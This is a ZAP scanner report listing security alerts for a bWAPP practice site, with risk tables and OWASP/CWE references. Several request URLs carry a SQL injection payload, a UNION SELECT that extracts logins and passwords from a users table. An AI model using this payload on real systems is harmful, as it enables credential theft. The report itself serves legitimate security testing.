ZAP Scanning Report

Generated with The ZAP logoZAP on Tue 2 Jul 2024, at 20:14:14

ZAP Version: 2.15.0

ZAP is supported by the Crash Override Open Source Fellowship

Contents

1. About this report
   1. Report parameters
2. Summaries
   1. Alert counts by risk and confidence
   2. Alert counts by site and risk
   3. Alert counts by alert type
3. Alerts
   1. Risk=High, Confidence=Low (1)
   2. Risk=Medium, Confidence=High (1)
   3. Risk=Medium, Confidence=Medium (3)
   4. Risk=Medium, Confidence=Low (2)
   5. Risk=Low, Confidence=Medium (5)
   6. Risk=Low, Confidence=Low (1)
   7. Risk=Informational, Confidence=Medium (1)
   8. Risk=Informational, Confidence=Low (3)
4. Appendix
   1. Alert types

About this report

Report parameters

Contexts

No contexts were selected, so all contexts were included by default.

Sites

The following sites were included:

- https://bwapp.hakhub.net
- http://bwapp.hakhub.net

(If no sites were selected, all sites were included by default.)

An included site must also be within one of the included contexts for its data to be included in the report.

Risk levels

Included: High, Medium, Low, Informational

Excluded: None

Confidence levels

Included: User Confirmed, High, Medium, Low, False Positive

Excluded: None

Summaries

Alert counts by risk and confidence

This table shows the number of alerts for each level of risk and confidence included in the report.

(The percentages in brackets represent the count as a percentage of the total number of alerts included in the report, rounded to one decimal place.)

		Confidence				
		User Confirmed	High	Medium	Low	False Positive	Total
Risk	High	0 (0.0%)	0 (0.0%)	0 (0.0%)	1 (5.9%)	0 (0.0%)	1 (5.9%)
	Medium	0 (0.0%)	1 (5.9%)	3 (17.6%)	2 (11.8%)	0 (0.0%)	6 (35.3%)
	Low	0 (0.0%)	0 (0.0%)	5 (29.4%)	0 (0.0%)	0 (0.0%)	5 (29.4%)
	Informational	0 (0.0%)	1 (5.9%)	1 (5.9%)	3 (17.6%)	0 (0.0%)	5 (29.4%)
	Total	0 (0.0%)	2 (11.8%)	9 (52.9%)	6 (35.3%)	0 (0.0%)	17 (100%)

Alert counts by site and risk

This table shows, for each site for which one or more alerts were raised, the number of alerts raised at each risk level.

Alerts with a confidence level of "False Positive" have been excluded from these counts.

(The numbers in brackets are the number of alerts raised for the site at or above that risk level.)

		Risk			
		High (= High)	Medium (>= Medium)	Low (>= Low)	Informational (>= Informational)
Site	https://bwapp.hakhub.net	0 (0)	2 (2)	3 (5)	5 (10)
	http://bwapp.hakhub.net	1 (1)	4 (5)	2 (7)	0 (7)

Alert counts by alert type

This table shows the number of alerts of each alert type, together with the alert type's risk level.

(The percentages in brackets represent each count as a percentage, rounded to one decimal place, of the total number of alerts included in this report.)

Alert type	Risk	Count
SQL Injection	High	1 (5.9%)
Absence of Anti-CSRF Tokens	Medium	5 (29.4%)
Application Error Disclosure	Medium	27 (158.8%)
Content Security Policy (CSP) Header Not Set	Medium	36 (211.8%)
Directory Browsing	Medium	27 (158.8%)
Hidden File Found	Medium	4 (23.5%)
Missing Anti-clickjacking Header	Medium	35 (205.9%)
Cookie No HttpOnly Flag	Low	2 (11.8%)
Cookie Without Secure Flag	Low	2 (11.8%)
Cookie without SameSite Attribute	Low	2 (11.8%)
Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)	Low	13 (76.5%)
X-Content-Type-Options Header Missing	Low	75 (441.2%)
Authentication Request Identified	Informational	2 (11.8%)
Information Disclosure - Suspicious Comments	Informational	1 (5.9%)
Re-examine Cache-control Directives	Informational	34 (200.0%)
Session Management Response Identified	Informational	20 (117.6%)
User Controllable HTML Element Attribute (Potential XSS)	Informational	3 (17.6%)
Total		17

Alerts

1. **Risk=High, Confidence=Low (1)**

   1. **http://bwapp.hakhub.net (1)**

      1. SQL Injection (1)

         1. ▶ GET http://bwapp.hakhub.net/latest/meta-data/?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

2. **Risk=Medium, Confidence=High (1)**

   1. **http://bwapp.hakhub.net (1)**

      1. Content Security Policy (CSP) Header Not Set (1)

         1. ▶ GET http://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

3. **Risk=Medium, Confidence=Medium (3)**

   1. **https://bwapp.hakhub.net (2)**

      1. Application Error Disclosure (1)

         1. ▶ GET https://bwapp.hakhub.net/documents/

      2. Directory Browsing (1)

         1. ▶ GET https://bwapp.hakhub.net/documents/

   2. **http://bwapp.hakhub.net (1)**

      1. Missing Anti-clickjacking Header (1)

         1. ▶ GET http://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

4. **Risk=Medium, Confidence=Low (2)**

   1. **http://bwapp.hakhub.net (2)**

      1. Absence of Anti-CSRF Tokens (1)

         1. ▶ GET http://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

      2. Hidden File Found (1)

         1. ▶ GET http://bwapp.hakhub.net/.hg

5. **Risk=Low, Confidence=Medium (5)**

   1. **https://bwapp.hakhub.net (3)**

      1. Cookie No HttpOnly Flag (1)

         1. ▶ GET https://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

      2. Cookie Without Secure Flag (1)

         1. ▶ GET https://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

      3. Cookie without SameSite Attribute (1)

         1. ▶ GET https://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

   2. **http://bwapp.hakhub.net (2)**

      1. Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s) (1)

         1. ▶ GET http://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

      2. X-Content-Type-Options Header Missing (1)

         1. ▶ GET http://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

6. **Risk=Informational, Confidence=High (1)**

   1. **https://bwapp.hakhub.net (1)**

      1. Authentication Request Identified (1)

         1. ▶ POST https://bwapp.hakhub.net/login.php

7. **Risk=Informational, Confidence=Medium (1)**

   1. **https://bwapp.hakhub.net (1)**

      1. Session Management Response Identified (1)

         1. ▶ GET https://bwapp.hakhub.net/sqli_2.php?movie=20%20UNION%20SELECT%201,GROUP_CONCAT(login),3,4,GROUP_CONCAT(password),6,7%20FROM%20users--

8. **Risk=Informational, Confidence=Low (3)**

   1. **https://bwapp.hakhub.net (3)**

      1. Information Disclosure - Suspicious Comments (1)

         1. ▶ GET https://bwapp.hakhub.net/js/html5.js

      2. Re-examine Cache-control Directives (1)

         1. ▶ GET https://bwapp.hakhub.net/user_new.php

      3. User Controllable HTML Element Attribute (Potential XSS) (1)

         1. ▶ POST https://bwapp.hakhub.net/login.php

Appendix

Alert types

This section contains additional information on the types of alerts in the report.

1. **SQL Injection**

   Source raised by an active scanner (sqlmap ID: -1)
   WASC ID 19
   Reference 1. https://owasp.org/www-community/attacks/SQL_Injection
   2. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

2. **Absence of Anti-CSRF Tokens**

   Source raised by a passive scanner (Absence of Anti-CSRF Tokens)
   CWE ID 352
   WASC ID 9
   Reference 1. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
   2. https://cwe.mitre.org/data/definitions/352.html

3. **Application Error Disclosure**

   Source raised by a passive scanner (Application Error Disclosure)
   CWE ID 200
   WASC ID 13

4. **Content Security Policy (CSP) Header Not Set**

   Source raised by a passive scanner (Content Security Policy (CSP) Header Not Set)
   CWE ID 693
   WASC ID 15
   Reference 1. https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy
   2. https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
   3. https://www.w3.org/TR/CSP/
   4. https://w3c.github.io/webappsec-csp/
   5. https://web.dev/articles/csp
   6. https://caniuse.com/#feat=contentsecuritypolicy
   7. https://content-security-policy.com/

5. **Directory Browsing**

   Source raised by a passive scanner (Directory Browsing)
   CWE ID 548
   WASC ID 16
   Reference 1. https://cwe.mitre.org/data/definitions/548.html

6. **Hidden File Found**

   Source raised by an active scanner (Hidden File Finder)
   CWE ID 538
   WASC ID 13
   Reference 1. https://blog.hboeck.de/archives/892-Introducing-Snallygaster-a-Tool-to-Scan-for-Secrets-on-Web-Servers.html

7. **Missing Anti-clickjacking Header**

   Source raised by a passive scanner (Anti-clickjacking Header)
   CWE ID 1021
   WASC ID 15
   Reference 1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

8. **Cookie No HttpOnly Flag**

   Source raised by a passive scanner (Cookie No HttpOnly Flag)
   CWE ID 1004
   WASC ID 13
   Reference 1. https://owasp.org/www-community/HttpOnly

9. **Cookie Without Secure Flag**

   Source raised by a passive scanner (Cookie Without Secure Flag)
   CWE ID 614
   WASC ID 13
   Reference 1. https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes.html

10. **Cookie without SameSite Attribute**

    Source raised by a passive scanner (Cookie without SameSite Attribute)
    CWE ID 1275
    WASC ID 13
    Reference 1. https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site

11. **Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)**

    Source raised by a passive scanner (Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s))
    CWE ID 200
    WASC ID 13
    Reference 1. https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework
    2. https://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html

12. **X-Content-Type-Options Header Missing**

    Source raised by a passive scanner (X-Content-Type-Options Header Missing)
    CWE ID 693
    WASC ID 15
    Reference 1. https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622941(v=vs.85)
    2. https://owasp.org/www-community/Security_Headers

13. **Authentication Request Identified**

    Source raised by a passive scanner (Authentication Request Identified)
    Reference 1. https://www.zaproxy.org/docs/desktop/addons/authentication-helper/auth-req-id/

14. **Information Disclosure - Suspicious Comments**

    Source raised by a passive scanner (Information Disclosure - Suspicious Comments)
    CWE ID 200
    WASC ID 13

15. **Re-examine Cache-control Directives**

    Source raised by a passive scanner (Re-examine Cache-control Directives)
    CWE ID 525
    WASC ID 13
    Reference 1. https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#web-content-caching
    2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
    3. https://grayduck.mn/2021/09/13/cache-control-recommendations/

16. **Session Management Response Identified**

    Source raised by a passive scanner (Session Management Response Identified)
    Reference 1. https://www.zaproxy.org/docs/desktop/addons/authentication-helper/session-mgmt-id

17. **User Controllable HTML Element Attribute (Potential XSS)**

    Source raised by a passive scanner (User Controllable HTML Element Attribute (Potential XSS))
    CWE ID 20
    WASC ID 20
    Reference 1. https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html